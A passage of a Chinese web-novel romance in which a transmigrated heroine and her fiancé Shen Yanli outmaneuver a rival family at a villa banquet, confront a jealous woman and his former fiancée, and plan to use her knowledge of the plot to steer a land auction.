男人不动声色,他伸手将她作乱的小指握出来,捏在掌心把玩,“我太太说了,让你们老板亲自来和我谈,王志涛呢?”
“我在。”室外传来低沉威严的声音,声音不大却能刚好让在场的人都听见。
黑衣安保为来人让路,一位高龄长者从人群中来,那位林知妤让翘首以盼好久的人物也在身后。
望城王家,和沈家一样都是历史悠久的名门望族,说不上来谁更强,算是各个都城的地头蛇,实力各不相让。
他凌厉地出声毫不留情地逐客,“我的面见到了,沈先生就请回吧,今后天恒山庄不会再有你的座位,沈先生另谋他处吧。”
林知妤对来者趣味浓浓,她抬眸看去。
这个老人家小说中有写,陆煜宸在外谋生时意外救了哮喘发作的王家祖母,也就是王志涛的妻子。
王志涛是个妻奴,爱妻如命,因此将陆煜宸当作亲孙子般对待,事事为他出头,算是陆煜宸后期扳倒沈砚礼的一大王牌。
没想到这次这么快就拿了出来,看来是刺激惨了。
“王老先生,此事就算了吧,别为难我小叔了。”陆煜宸在此时出声,为二人解围。
他这良善的举动更是加速了王志涛的怒火,陆煜宸年幼在外独自拼搏,回家后依然还被歧视,他眼里的天之骄子不该是这么卑微的模样。
他目光不着痕迹地扫了眼懒散斜靠在沙发上的两人,脑海里是他刚才无意间说漏嘴的惨境,王志涛心中怒火直烧。
这个气,他帮陆煜宸出定了。
王志涛的出现瞬间拉起了在场气氛的高潮,无数视线向这边投递。
“老板的还真是王家人啊,藏这么深。”
“那可不是?你们说说这两家谁更厉害点?我看是这个王家,手都伸到临江市来了,看起来不简单。”
“王家?王家在望城确实是个人物,但这里是临江市自然由沈家说了算,管他是龙是蛇来了就得老老实实盘着。”
“你这话说的,你看王志涛那样是想盘着的意思吗?”
王志涛似乎想速战速决,并没有示意下属关门,却下令让三位保镖把门口挡的严严实实,隔绝了外面的纷扰。
“小陆这事你就别管了,你别害怕沈砚礼拿你怎么样,有我在,我亲自去和沈老头说,我倒是要看看他们是不是真的无法无天了。”他在陆煜宸手背上轻拍担保
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,话里话外都是让他安心,事后所有都会由他来解决。
林知妤没兴趣看他们两个大男人的舐犊之情,她微微抬头凑到沈砚礼耳边,“你说的那位会来吗?”
沈砚礼一根根捏着林知妤的指腹,他侧头倾听她的疑问,答的漫不经心:“那位?站在门口看热闹呢。”
“什么?”林知妤微微坐直了身体一脸困惑。
这热闹光看啊?男生的兄弟情这么用的吗?
沈砚礼低头让她安心,“热闹看够了,自然就进来了。”
林知妤当然知道,她只是对他们兄弟的相处方式感到无奈。
死到临头才救是吧。
陆煜宸在老者说话时无意间朝他们瞥了一眼,他们像个旁观者般若无其事地聊天,根本不把自己和王志涛放在眼里。
少女发丝挂在男人肩膀,她微微抬眸眼里满是溢出的笑意,深色外套下的碎钻因为动作的变化而大片展露,灯光折射下闪出艳光。
男人低头配合女子的耳畔呢喃,他脸上虽没明显表情波动,那看向女子眸底却异常温柔。
“沈砚礼,我话已至迟,不要让我的人亲自请你,那画面绝对不好看,我保证。”王志涛冷声道。
“王老先生,我想—”沈砚礼嗤笑道:“是你搞错了,应该是我请你出去才是。”
“你什么意思。”老者眉头紧锁。
“不明白吗,意思就是这山庄还不是你说了算。”沈砚礼面无表情地抬起头,“还站着不动?要我亲自请?”
他话音中带着不耐,熟悉的人知道他是动气了。
门外来人传来戏谑声,与陆煜宸不同,男声中散漫腔调里托着长长的尾音,“祖父。”
他拨开人群慢悠悠走来,王憬烜饶有兴致地在门外看了半响,临沈砚礼不耐烦前还是走了进来。
王志涛地怒火在见到来人的那一刻瞬间熄灭,比起陆煜宸这个救命恩人他显然更对王憬烜这个亲孙子上心。
王憬烜随意搭上老者肩膀,“怎么样,想我吗祖父?”他叹息的摇摇头,“我在国外可是想死你了。”
王憬烜一来他就顾不上旁人了,王家就这么一个唯一的宝贝孙子,还有什么能比他重要。
陆煜宸瞬间被冷落,刚才还信誓旦旦要帮他出头的老人家,转眼就摒弃了他。
“哎呦,你个好小子什么时候回来的,怎么也不告诉祖父一声,好让人去接你。”王志涛打量着眼前盼了大半年的亲孙,满心满眼都是对孙子回来喜悦,全然忘了要为陆煜宸出头这事。
“这不是要给您一个惊喜嘛,你看一下飞机就奔着您来了。”王憬烜低哄着他老人家。
不加以掩饰地讨好,王志涛也确实被哄的嘴角咧在耳后。
这一套也只有家里人才会吃了。
“对了,祖父,你这是。”瞧着他正高兴,王憬烜话音一转,开始步入正题。
再不解决,沈砚礼沉冷的眼色就要把他给杀了。
他朝沙发上饶有兴致看了一眼,窝在怀里的女人同样也在打量着他。
16.第 16 章
王憬烜这个人物在原著中并未出现,对于王家的描写更多的是王志涛这个人。
对于新人物的解锁,林知妤好奇打量,他凌乱的发丝下生着一双多情的桃花眼,身子骨里流漏着风流气,活脱脱一副纨绔子弟的模样,他闲散地搭着老者的肩同样也在打量着她。
想到梦中的场景,林知妤透过他的眼睛看见了生机。
既然能出现未知人物,那也许结局也能有所改变。
在王憬烜的提醒下,王志涛这才想起自己来这里的目的,转过身引着陆煜宸到跟前给他介绍,“憬烜,这是煜宸。”
“之前在电话里和你说过的,你祖母的救命恩人。”
他面朝着陆煜宸示意他向王憬烜打招呼,陆煜宸的临场反应豪不逊色,坦然向王憬烜伸出右手。
奈何人家根本不搭理,王憬烜甚至都不曾用正眼瞧过他,手掌处在不上不下的位置,和他现在的处境一般里外不是人。
好在有王志涛为他解围,他的掌心被人握在手中,粗粝厚茧的手掌将他紧紧包裹,老人家有意为他孙子开脱,“他就这样,吊儿郎当的也不理人,你别往心里去。”
“哪里,不会,贵公子一表人才,我要更努力些才配得到他的认可。”陆煜宸很快接住了递到眼前的台阶。
“他们到底要聊到什么时候?你这个朋友做事怎么拖拖拉拉的。”林知妤手支着下巴神色恹恹地撇过头看他,忍不住用大腿撞了撞沈砚礼。
除了陆煜宸吃瘪的样子她看的滋滋有味外,眼前的大型认亲现场让她提不起一点兴趣。
什么时候才能步入正题啊。
少女恹恹地神情就在眼前,她像朵萎蔫了的花卉没精打采,身上的光都黯淡了。
沈砚礼任由少女催促的小动作,他不紧不慢地将凉了半响的茶水倒进水孟,配合着少女无声地催促他。
王憬烜一直注意着他这边的动静,他抽了抽嘴角,看那缓缓倾下的茶水像是看见了自己命运的倒计时。
真是大爷,做在那什么也不干就知道催催催。
沈砚礼像是看清了他眼底的埋怨,他不疾不徐地开口:“王先生,家常还没聊够吗?”
像是在点王志涛又或者是磨磨蹭蹭的王憬烜。
随后,他手捏了捏女子放在膝盖上的手指示意她来发挥。
经他这么一提醒,王志涛才想起这个被他抛到脑后的人物,“我倒是忘记了你这茬子,我也不跟你废话,现在马上走我还给你留点脸面。”
柔细地女声不合时宜地响起,“那怕是不能了。”少女端坐在上,她颇有藐视的目光冷眼瞧着他们。
“小女娃,这可不是你能说话的场所。”王志涛若是会被一个初来乍到的小丫头吓到,那他这些年算是白混了,“你好像还没搞清楚状况。”
“是嘛?”林知妤极淡地笑了笑,她眉梢轻挑,“现在好像是你老人家还没搞清楚状况。”
沈砚礼斜靠着身体,胳膊随意搭在林知妤身后的沙发顶上,他虽一句话没说,这姿态却摆明了告诉在场的各位,林知妤身后有他撑腰。
对于林知妤的讥讽,王志涛冷哼一声:“你这小娃娃口气倒是不小。”
“对我出言不逊你有能力承担这个后果吗?”声音中带着居高临下地施压。
沈砚礼不紧不慢揽紧林知妤的肩膀,抬眸看他,“王老先生,我还在这呢。”
他顿了顿,睨眼看向他身旁看笑话的那位,不紧不慢地开口:“比起这个,王老先生,您倒不如问问你的好孙子,这座山庄是谁所属。”
“你又有什么能力要求我离开?”
王志涛脸色微变,察觉他话外之意。
他转过头查证,罪魁祸首心虚地捏了捏鼻子,肯定了他内心的想法,“爷爷,我只是个挂名法人。”
当初大张其词地吹嘘,现如今回旋镖打到自己身上王憬烜才知道悔恨。
果然,人还是不能有虚荣心。
他偷偷瞄了一眼沈砚礼,想到他承诺的天价厚礼,王憬烜觉得自己又行了。
不就是一顿臭骂嘛?他受的住。
“你个臭小子。”王志涛黑了半边脸,他在这对着主人家大言不惭了半天,自家好孙子就是这么回报他的。
他气的咬咬牙,巴掌挥起来大半天也不见落下。
“哎呀爷爷,那是人家的家事,你跟着凑什么热闹。”王憬烜嬉皮笑脸地贴着王志涛讨好,“我们回家好不好?管管我们家的家事嘛。”
王志涛沉着脸,“你,我要管,陆煜宸我也要管。”他挂不住面却执意留下,这事总要给个说法。
不能让陆煜宸就这么在沈家白白受欺负。
沈砚礼站起身,淡淡扫了眼旁边默不作声的陆煜宸,“王老先生,很好奇您听说了什么,让您觉得我们沈家对待亲孙厚此薄彼呢?”
他说着话不忘伸手给林知妤拉她起来,温热的小手包裹在掌心,他稍稍用力,林知妤就已经站稳在他身边。
“您听到的到底是事实还是他欲要你出手的虚假构造,王老先生您……”林知妤接着沈砚礼的话继续,没急着说完留下一点空间给王志涛遐想。
别活活给人当了靶子还不自知。
王志涛对于两人的挑拨离间只觉得好笑,陆煜宸怎么样他心里最清楚。
救人不留名,即使再苦再累也绝不向他求助,虚心求教袒护亲长,即使受欺负也独自忍下,若不是他套话问出,这些事陆煜宸都打算瞒他一辈子。
而他百般袒护的亲长却在眼前对他如此羞辱。
“把你们那肮脏的心思都收一收,小陆什么样我最清楚不过,用不着你们在这挑拨离间。”王志涛心里这把怒火越烧越旺。
眼见事情愈演愈烈,一边是家人一边是亲友,王憬烜不想因为一个无关紧要的外人将两家的关系彻底搞僵,他赶忙出声破局:“爷爷。”
“这小子可不是什么善茬,吉安那个大项目在他手里,沈家可算不上什么亏待他。”
能拿到千亿投资的项目极为少数,吉安算是这半年来为数不多大规模
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,多领域的大型项目。
王家走了多方关系都拿不到的东西竟然在陆煜宸手里,王志涛的脸沉了又沉,“小陆,憬烜说的是真的吗?”
他眼睛一瞬不瞬地盯着陆煜宸,他欲言又止的模样已经给了答案。
“你不是说沈家待你不好吗?亲儿子都拿不到的项目在你手里,沈家就是这么对你不好的?”
“我日日在你耳旁提吉安,你却半点信息都不舍得透露啊你。”
王志涛急的一口气喘不上来,直挺挺地就往后倒,王憬烜眼疾手快扶着他防止头先着地。
“医生!医生!”
场面乱成一团,外边探究的人群,手忙脚乱的安保,急需救治的老人。
好在沈砚礼有先见之明,提前安排了医护团队,人群被疏散开,老人家也被杆架抬走治疗,井然有序的将场面控制住,嘈闹的房间逐渐步入平静。
林知妤双手圈着沈砚礼的胳膊,脑袋靠在他肩膀上打量着门旁事不关己的陆煜宸。
待他如亲子般的老人家在他眼前昏倒,他却对此漠不关心,是知道这张牌对他没用了所以不再在意吗。
林知妤不禁为王老先生感到心寒,沈砚礼察觉到她低落的情绪,手掌在她肩膀上摩挲安抚。
呼吸间极淡的雪松香参杂着空气一起转入鼻尖,熟悉的气息让她忧伤的情绪有所缓解。
“还好吗?”极轻的口吻从上方传来。
林知妤轻轻点点头。
沈砚礼看在眼里,小姑娘最是感性,悲壮的氛围最能引起她的共鸣,他本意是带她来散散心,反倒弄巧成拙,心情更郁闷了。
“沈砚礼,这里好闷啊,我不想看了,我们走吧。”林知妤说的有气无力,她已经不想再去管陆煜宸之后要做什么了。
“好。”他柔声道。
这点小插曲并没有影响宴会的进行,楼下悠扬的琴声不断飘入耳中,露天平台上空无一人,林知妤迎面吹着晚风。
空旷的视野下,她郁闷的心情缓解了好多,碎发迎风被吹着紧贴脸颊,她伸手刮下来别至耳后。
“沈砚礼,你看我们真的成功了,说明结局也是能改变的。”
“你看到他吃瘪的样子了吗?他看起来也就那样啊,也没那么厉害嘛。”
“害我还担心了这么久,这下好了,我们以后都不用怕了。”
沈砚礼站在她身旁,凌乱的发丝在他眼前轻拂,她眸中活气满满,悲伤的情绪过去林知妤又变成了思维跳脱的活力少女。
她身上富有生命力的气息随着晚风涌入他的世界,无灯的露台因空中高展的明月而变得明亮。
少女嘴角扬起的弧度更甚,她转过身来看着他郑重的,肯定的赐于他奖赏。
是不同与老宅时的一时兴起。
“沈砚礼,我们一起吧。”
“一起改变命运,我们谁都不会死掉的。”
“我保证。”
高悬在天上的那轮孤月认真且坚定的选择了他。
“好。”
17.第 17 章
夜色深邃,月光如银倾洒露台,台柱壁灯点亮照明整个台面。
林知妤趴在围栏上看他,任由晚风拂过脸颊,呼吸间是他身上轻淡的雪松香味。
男人立于身侧,皎皎月光下神色平静,眼睫低垂,看她的眼睛里晦暗不明。
“在想什么?”林知妤伸手在他眼下挥了挥。
细白的小手晃在眼前,挥动的残影下是她弯俏的眉梢,沈砚礼淡笑间将她的手腕攥在掌心,制止了她的动作。
“没事。”肌肤触及下的手腕凉意失常,他掌心向下探了探她的指尖。
果然,很凉。
沈砚礼摩挲的动作没停,和她商量:“冷吗?下去吧。”
经他这么一提,林知妤身体顿感发凉,她点了点头。
“好。”
“他们走了吗?”
装修豪气的走廊内,沈砚礼与林知妤并排。
“当然。”他答的肯定,像是早已安排好。
走廊已经清场无人,金黄色纹路的墙面上挂着壁画一路向前延生,直至尽头。
男人步伐稳健,少女脚步轻盈,廊宽广大即使两人并排而行也不觉得拥挤。
沈砚礼脱了外套身上只穿了件灰色衬衫,深色条纹领带上扣着银色领带夹,暖光将他侧脸的轮廓渡上一层模糊金光,使他待人的眉目间少了些许疏离,多了几分柔和。
林知妤抬头看他,这张脸对她的视觉冲击实在太大,难以想象以这么一张俊秀的脸庞,作者是怎么舍得让他下场这么凄惨的。
她转念一下,这是男频,看的是关系网不是以貌取胜。
她极低的轻叹了一口:“反正我是不忍心。”
声息不大,沈砚礼却听见了,他垂眸看她,“怎么了?”
“没什么。”她摇了摇头,脚下步伐没停反而越发轻快,“沈砚礼,我已经研究明白了,我和你说。”
少女语调高昂,伴着喜溢而出的情绪,向她身边人分享着:“打败他不难,只要能斩断他的关系网,或者找到比他的关系还厉害的人去压制他就行了。”
沈砚礼没看她,轻和地应着她的结论,“好。”
他低头瞧着她步伐的规律,林知妤说的高兴时就不会看路,她洋溢的眉目直视着自己的眼睛,似那雨后雾气蒙蒙后的晴空,澄净而通透。
他唇角弧度更甚。
不发一言,配合着她的脚步。
“所以说,我们第一步应该干什么。”林知妤一无所知,她停下不动等他的回答。
“让他和季家离心。”沈砚礼陪着她。
清脆的一声咔哒,是林知妤用响指表达对他的肯定,“没错。”
非常好,孺子可教也。
沈砚礼含颌低笑。
她满意地点点头,“然后我们只需要找出他的关系网再逐一攻破就好了!”
还有话未说尽,她刚回眸脚步就被眼前的黄墙止住了步伐,沈砚礼伸手揽上她的肩将她带向自己。
不知不觉两人已经从正中间的位置走到了右边靠墙,好在沈砚礼出手及时,再进一步她的肩膀就要和墙面近距离摩擦了。
“擦到了吗?”他问。
林知妤摇了摇头。
“知知,走路看路。”他似有些无奈,俊秀的面上挂着无可奈何地笑意。
林知妤不以为然她摆摆手表示没事,似乎因被打断而忘记了刚才说到哪了。
她手还悬在半空,沈砚礼好意提醒,“逐一攻破。”
“对。”她五指只剩一指在他面下郑重一敲,看她的神情,嘴里的长篇大论又要徐徐道之。
沈砚礼不想听了。
“好了知知。”他拉下她竖着的食指,撑开手掌捏在手心,“我们说点别的好不好?”
“楼下有拍卖会,我们去看看好吗?”他继续说。
“不要。”林知妤固执地摇了摇头。
这人干嘛,关乎生死的事怎么能这么敷衍。
林知妤不听,她端着小脸表情严肃地教训他,“你不可以这样,沈砚礼。”
“这是关乎我们今后的生死,不可以掉以轻心的,你知不知道。”
小姑娘叉着腰不苟言笑的姿态活像位资龄年长的小老师。
可惜,嗓音细腻,面上红润,这声斥责在沈砚礼耳里倒像是撒娇。
他低头捏着细指面不改色,尾音长长,“好,小老师。”
林知妤瞪红了脸,她将手抽了回来背至身后,“沈砚礼!”
“你听不听我说话的。”
她眉心紧蹙,沈砚礼垂下眼帘平和声线不敢再去逗她,“我在听。”
“没有!”
“听了。”他耐心解释,“季羡林只是没遇上过好人家,被歪种子骗了情有可原,让她多挑挑就不会犯蠢了。”
沈砚礼低声为她归类解决方案,他慢条斯理牵出她的右手捏在手里。
“知知,不聊他们了好不好。”他嗓音淡了些。
林知妤瞪着眼瞧他,思想着他的方案,确认确实可行后她的情绪才有所缓和。
二人直立于长廊正中心,男人低垂着头去与少女对视,眼下少女嫩白的肌肤被昏黄笼罩,细指上的钻戒闪到他眸中。
他嗓音一如既往地温和有礼,像是在和她商量:“知知,你唤我点别的好不好?”
“什么?”林知妤一头雾水。
什么别的。
“阿砚,好不好?”他手里动作没停,这次垂下的眼睫却没有再与她对视,低下的头掩饰眸中的异样情绪。
阿砚?
林知妤脸色微变,和梦中的昵称如出一辙,骇人的场面一闪而过。
她摇了摇头,不愿意。
“砚礼,行吗。”她膝盖微弯去找他的目光。
不能的,不能和梦中有任何相关的联系。
四目相对,沈砚礼先败下阵来。
他点了点头,藏去眸中含蕴着低沉,“好。”
不是沈砚礼就行。
林知妤抓住他眼底一闪而过的情绪,心中正不解。
不远的拐角处传来吊儿郎当的腔调,“阿~砚~”
两人随声看去,看见来人,沈砚礼脸色不悦。
王憬烜斜靠着墙面正眼神悠悠的在两人身上打转。
林知妤回过头,将他的脸色都看在眼里,她好奇地问:“怎么了。”
“没事
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,来讨债的。”他轻轻在她发丝上揉了揉,牵着她往前走。
大手包裹着小掌,王憬烜看在眼里紧盯不放,他嘴角噙着意味不明地笑意。
-
贵宾包厢,专属王憬烜的那一个,包间内人数不多,牌桌前热闹非凡,沙发上被讨论的主人公沉默不语。
沈砚礼旁若无事的淡淡喝了口葡萄酒,对牌桌上大肆宣扬关于自己绯事的王憬烜置之不理。
“要不是我说,你们谁敢信,反正我要没亲眼所见我是不敢想的。”
“大名鼎鼎的小沈总竟然会细声细语。”王憬烜已经喋喋不休说了整整三局。
这一包间的人物都是各个领域的大佬,几个人难得聚在一起,自然畅所欲言。
沈砚礼捏了捏眉心,他已经开始受不了王憬烜的聒噪。
林知妤不愿意打扰他们兄弟相聚,她一个女孩子确实不方便,他也不想让她听见这些污秽之语。
不过,他现在后悔了,若是有她在,这群人不至于说的这么起兴。
包间内细讨还在继续。
“是啊,这谁敢想,我们小沈总也有拜倒在石榴裙下的这一天。”
“这么说的,我都想见见这位让我们小沈总一见倾心的小姑娘了。”
大家有一搭没一搭的出着牌,明显心思都没在上面,投到沈砚礼身上意味不明的目光断断续续。
境谭市顾家-顾南辞手随意搭在椅背,他侧着手边摔牌边打量沈砚礼,“沈小公子,小姑娘呢?”
沈砚礼睨了他一眼,“顾南辞,还有心思打趣我?你老婆跑多久了到现在还追不回来,有这心思还不如多放在追你老婆身上。”
男人明显被说到痛处,他啧了一声,“玩不起玩不起。”
他摇了摇头,手肘就被上家碰了碰,“别说他了,我还没找对象呢,把你妹介绍介绍我们看看啊,别自己私藏着。”
王憬烜嬉笑着脸皮在面前,顾南辞一手将牌甩进他怀里,“王憬烜,你哪点配的上我妹。”
“离我妹远点。”他沉着脸不悦。
“切,你也是个玩不起的。”王憬烜摆摆手,不打算再继续这个话题。
-
林知妤正独自坐在沈砚礼的贵客厅里,她手里拿着笔在纸上涂涂改改,将她梦中所发生的都记录下来。
她不打算将这个双死的结局告诉沈砚礼,还未到最后一刻谁胜谁败还是未知数,多说无益。
结尾刚好收笔,她正准备直起身,门啪的一声打在了墙上,她抬眼看去没来得及反应。
季羡林一瓶香槟直直向她头上倒下,酒水顺着脖颈留下,酒香灌鼻,刚书写好的纸张也已经浸湿。
随着玻璃瓶打在地上的声音响起,林知妤抬眸看着这面前的女人,后槽牙都要咬碎了。
这女的是不是疯了,他老公一有什么事,都要往她身上淋点酒泄愤。
林知妤提着裙摆站起来,嘴角抿直不悦,“季羡林,你是不是有病。”
这已经第几次了,这女的一见到她就非的往她身上折腾是吧。
她沉着脸,声音没有丝毫起伏。
“干什么呢?”门口传来怒气冲冲的女声。
18.第 18 章
刘海嘀嗒流着金黄色的香槟水珠,顺着脖颈滑落锁骨,林知妤鼻息间都是身上的酒香气。
这个季羡林就是男频文里典型的男主脑,只要为了陆煜宸,她什么都可以舍弃冲到前头为他冲锋陷阵。
就如现在一般,不管不顾就冲进来找她麻烦,她这么厉害怎么不去找沈砚礼讨公道。
就挑她这个软柿子捏是吧。
门外的女声强而有力,一下把两个人都给唬住了,林知妤寻声看去。
来人一身水墨印花衬衫套装,以中性色为基调,辅以她本身的清冷气质,鲜明的红色飘带围裹脖颈点缀,彰显恣意个性。
她摘下墨镜,圆而大的耳环紧随着晃动,季羡林见到来人的那一刻,错愣在原地不知所措。
“姐——”季羡林支支吾吾的站在原地,面对来人她有些不知所措。
脸上黏糊糊的难受,她扯出纸巾边看边擦拭着自己,听到她这声微乎其微的称呼,林知妤更纳闷了。
姐?
她哪来的姐?书上有吗?
她眼里的不可置信不像是演的,林知妤的目光在两人脸上打转。
季羡林好像很怕她?
季明曦视线从季羡林身上扫过一眼后便没再看她,她单肩背着宽大的黑色托特包,包上挂着深蓝色的翻领大衣。
林知妤还在直愣愣地看着她,下一秒她就走到了自己面前,暖意席卷全身,大衣的包裹将香槟徒留的凉意驱赶无踪。
“还好吗?”她平静清冷的嗓音近在鼻息,林知妤下意识地半个身子往后缩,季明曦拽紧衣领没给她退后的机会。
林知妤一时不知道怎么回答,场面过于寂静,敌众我寡,她静默了两秒。
说错话是不是会被她们两姐妹一起埋尸了。
季明曦比她高出一个头,林知妤需要抬头才能与她对视,她眸中带着点清明神色,不似季羡林那般不讲理。
“好?好多了?”她话里带着疑问,只要季明曦有多一分对自己不利的动作,她就立马改口。
季明曦点了点头,不像她所想那般为季羡林出头,反而转头斥责:“季羡林,这么久没见你就这么没出息?”
“姐!你怎么一回来就不分青红皂白的说我,明明是他们先对阿宸动手的。”季羡林恼红了脸。
“为了一个男人你就这么轻贱自己?”季明曦揽着林知妤的肩膀,有力的手臂将大衣的温度与她肌肤更加融合。
“什么轻贱?姐,你怎么不站在我这边,阿宸是我丈夫,我为他出头怎么了?”这话季羡林听着刺耳的很。
她的亲姐姐站在她的对立面帮着别人一起指责自己,换谁都不好受。
更何况是在林知妤面前。
季明曦:“那他怎么不来?”
这话令季羡林激动的情绪顿了顿。
季明曦以为她有所醒悟,恨铁不成钢的情绪也有所缓和,她声线放平,低声劝解:“他是你丈夫,你是他妻子,若他真心待你怎么会让你自己一个人出来讨回公道。”
她声音低了又低,试图拉回她丢失许久的理智,“阿林,你别被他骗了,陆煜宸这个男人不可信。”
“季明曦。”季羡林明显不信,这些话似流水般只短暂的留存在她脑子里,很快又顺着缺口流出。
“你怎么向着外人说话,他可是你的亲妹夫,你这不是在诅咒你亲妹妹我吗?”
果然不该指望她说两句就会听,这水流淌过了,水渍自然就会存在,既然根已经种下了,不怕果结不出。
“阿林。”季明曦无奈地开口,妄图拉回她消失的亲情。
季羡林不答,反道:“那你知不知道,这个女人她妄图勾引阿宸?她都要嫁给沈砚礼了还来招惹阿宸,那她算什么东西?”
战火一下又引到林知妤身上,她正何乐而不为的看着戏,一下点到自己的名字,她一下回过神。
她忍不住啧了一声。
自己上哪勾引过他了?
林知妤:“你不要污蔑人啊,倒是拿出证据来,空口白牙的你说是就是啊。”
“我的人亲自拍的照片,你拿什么狡辩?”
她从包里翻出破烂不堪的照片,上面已经被揉搓出白痕。
包里放着自己丈夫和别的女人形似“暧昧”的照片,亏她想的出来,这种事一般人做不来。
看来,这件事对她刺激不小。
季明曦迟疑中拿过照片,随后一言不发。
见季明曦看完不说话,林知妤察觉不妙,立刻明白那照片肯定角度刁钻到能让人信以为真的程度。
包间内就她自己,不管怎么样季明曦都姓季,她和季羡林才是一家,任她说什么都不会有人相信。
沈砚礼还没回来,四下无人在意她,林知妤默默移动到茶桌边上,半蹲拿起那壶茶水藏于身后。
没人帮她,自己又不会防身术,穿来这个地方,既没亲人又没朋友。
离了沈砚礼,这两夫妻跟NPC似的专门挑这个时候来找茬。
她将手里的茶壶把手攥的更紧,只要两人一发难她就用此防身,小能泼水,大能砸头。
怎么样她都有保障。
“知知。”
她浑身以一种戒备的姿态面对两人,熟悉的声线唤着她的名字,她紧绷的身体这才放松下来。
沈砚礼还未等走进,在门口不远处就听到了包间内的动响。
刚过门栏,林知妤湿哒着头发,披着一身不合身的大衣孤零零的站在那,她手背在身后,抬眸朝自己看来,眼中无助的模样神似一只无家可归的野猫。
“沈砚礼——”
看见来人,林知妤松了一口气,救星来了。
他大步走进,睨眼瞧了眼门口站的那两个,眸底深邃如渊,似要将人彻底卷入黑潭。
“怎么样?”他左右翻看着林知妤,见她无事这才放下心来。
沈砚礼一低头就能看见她藏在身后的茶壶,他微微弯腰从她手里接过,安抚似的在她两手间轻拍,“没事,我来了。”
“再不来我就要被群殴了。”林知妤愤愤不平,一离开沈砚礼就会触发被动,自动招引敌人攻击。
沈砚礼慢条斯理地将她肩上的大衣拿下,从沙发上拿起自己的给她披上。
他的外套更大,披在林知妤身上,她像个偷穿大人衣服的小孩,沈砚礼眸中闪过一丝笑意。
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见他在笑,林知妤伸手在他手背上捏了捏,一脸正色:“还笑?”
他反握住林知妤作乱的手指,掌心冰冰凉,前不久才升上来的温度一会不见又往下降了。
他面色沉冷,“季明曦,派人找你回来不是让你为难我妻子的。”
林知妤一时有些诧异。
他们认识?这书中有提到过吗?
季明曦沉默不语,只是将手中的照片往她的方向递了递,林知妤将信将疑地接过。
照片上男人单手撑着墙面将她围堵在身前,女人只隐隐露出半张脸看着男人,姿势暧昧,单看这种照片确实会让人误解。
这是那天在婚纱基地的偷拍照,不过被有心人截掉了前方沈砚礼的身影,只余两道令她生疑的身影。
林知妤苦口婆心:“这种照片你也信,这不就是摆拍吗?你能不能理智点。”
怪不得当时陆煜宸好好说着话突然靠她这么近,原来是早有准备,他就是靠这种东西拿捏季羡林的吗?
以女人的嫉妒之心作佐料,在伴侣不安时再加以表示心意,更能让她对自己死心塌地。
他原来都是这么维和他们之间的爱情吗?
陆煜宸能有这么龌蹉的不轨之心,最后结局还能美满,她和沈砚礼却要双双亡命,这凭什么?
沈砚礼冷下脸来徐徐道:“季明曦,进修这么久,你人回来了,脑子还在国外?”
他只垂眸看了一眼照片就默不作声的移开视线,这种说黑成白的照片他见多了。
随后,他慢悠悠开口:“别忘了我和你说的,要是不想季家倒台,就老实点。”
男人的掌心在林知妤手背骨节上来回摩挲,直至冰凉的手心逐渐回温他也没松开。
沈砚礼一句漫不经心地威胁,使得季明曦脸色突变,她似是不甘心,“阿砚,你非要这样吗?”
这话让林知妤来了兴趣,她目光在两人身上打转,沈砚礼仍面不改色,他长指摩挲着林知妤无名指中的钻戒。
他若无其事地模样丝毫没有要对她留情的意思,季明曦静默看着他手里的动作。
她强咽下一口气,攥紧季羡林的手腕,用力一拉,“走,跟我回去。”
她远在他乡都能被他找人架着回来,沈砚礼的实力定不似外界所传言那般受制于表亲一脉。
当年是当年,如今沈家真正做主的是眼前这位,一想到当年的事,临走前她意义不明的扫了眼林知妤。
那她呢?到那时你还能不能护得住她。
林知妤一头雾水:“她最后看我一眼是什么意思?你和她有什么故事吗?”
沈砚礼:“没有。”
林知妤狐疑的看着他,明显不信,“真的?”
沈砚礼无奈低声坦白:“未婚妻。”
“什么?”林知妤没听清。
他又重复一遍:“未婚妻。”
“……”
包间整整沉静了两秒,静到沈砚礼以为林知妤生气了,他190的大个弯下腰来与她对视,“怎么不说话,生气了?”
林知妤眼睫颤了颤,目光交织,她悠悠开口:“这个书中怎么也没写?”
“……”
19.第 19 章(待修)
沈砚礼从书房回来,一进门就是吹风机的“嗡嗡”声,走进隔间还能隐隐闻到浴室里还未来得及消散完全的沐浴露香味。
淡淡的乌木玫瑰清香,是她身上长存的味道。
卧室内吹风机响动的声音频频,热风刮过耳廓,林知妤吹的专注没有察觉门口有人走进。
吹风机适宜的热风有规律的随着动作地摆弄在头上吹着,手指拨弄着头发,待到半干,屋内杂乱的声音才彻底停下。
隔间照常亮起了小灯,林知妤将吹风机放好,轻步走近。
沈砚礼不似往常那般开着电脑处理公文,今天反而斜靠在沙发上手里随意地翻看着《爱兔豢养指南》。
林知妤一眼就看见了封面上大而显眼的兔子照片,“看这个做什么?你要养兔子吗?”
感受到身下的沙发凹陷,少女身上的香气扑鼻而来,她绕过茶几坐到沈砚礼身边,探头去研究他手里的书。
少女手掌撑在沙发放在他的腿侧,指尖无意识地压着他宽松的裤料。
沈砚礼慢条斯理地将书递给她,回答她的问题:“在养。”
书本不厚,她接到手里漫不经心地翻看了两页,脑子里回想着他养在哪,林知妤有逛过沈公馆,并没有见过兔子的踪影。
林知妤困惑:“你还有别的住所吗?这里我没见过诶。”
沈砚礼意味不明地看着她,黑眸温柔深邃,眼底笑意似有似无。
林知妤低头看书等着他的回答,一时没见动静,她抬起头来,迎上了沈砚礼的目光。
他眼底似月光星华,流淌的光耀眼夺目勾得她向前。
他一言不发,林知妤忍不住开口:“怎么了?”
“下次带你看。”沈砚礼避而不答,转而伸手将书盖上放至桌面,指腹擦过的指尖还留有余温,林知妤无意识地摩挲了两下。
沈砚礼反问:“怎么了?有什么事找我吗?”
经他这么一提醒,林知妤才想起来自己的正事,“鸿洲那块地皮你知道吗?”
“鸿洲?”沈砚礼略有耳闻。
那里是临江市破败的烂尾楼地区,那块地皮政府最近正在准备拍卖,不过因交通不便利,离市中心较远,并无人看好。
“对。”林知妤点了点头,“那边会建地铁,以后价值肯定翻倍。”
书中有写,陆煜宸就是因为提前得知了那里要做交通基建的信息,才会放弃当时赤手可热的黄金地带转而花小价钱拍下了这块土地。
随着政策的落实,他因此大赚了一笔,花钱送地收买人心,给未来对抗沈砚礼做了铺垫。
这一次,不管怎么样,都不能让他拍下。
她掰着手指给沈砚礼数,“最近是不是还有一块传的沸沸扬扬的好地。”
“那块地你绝对不要碰。”
书中描写,最后是沈砚礼拍得了这块土地,却因为房地产调控政策,全赔了进去,正因如此才给了陆煜宸可乘之机。
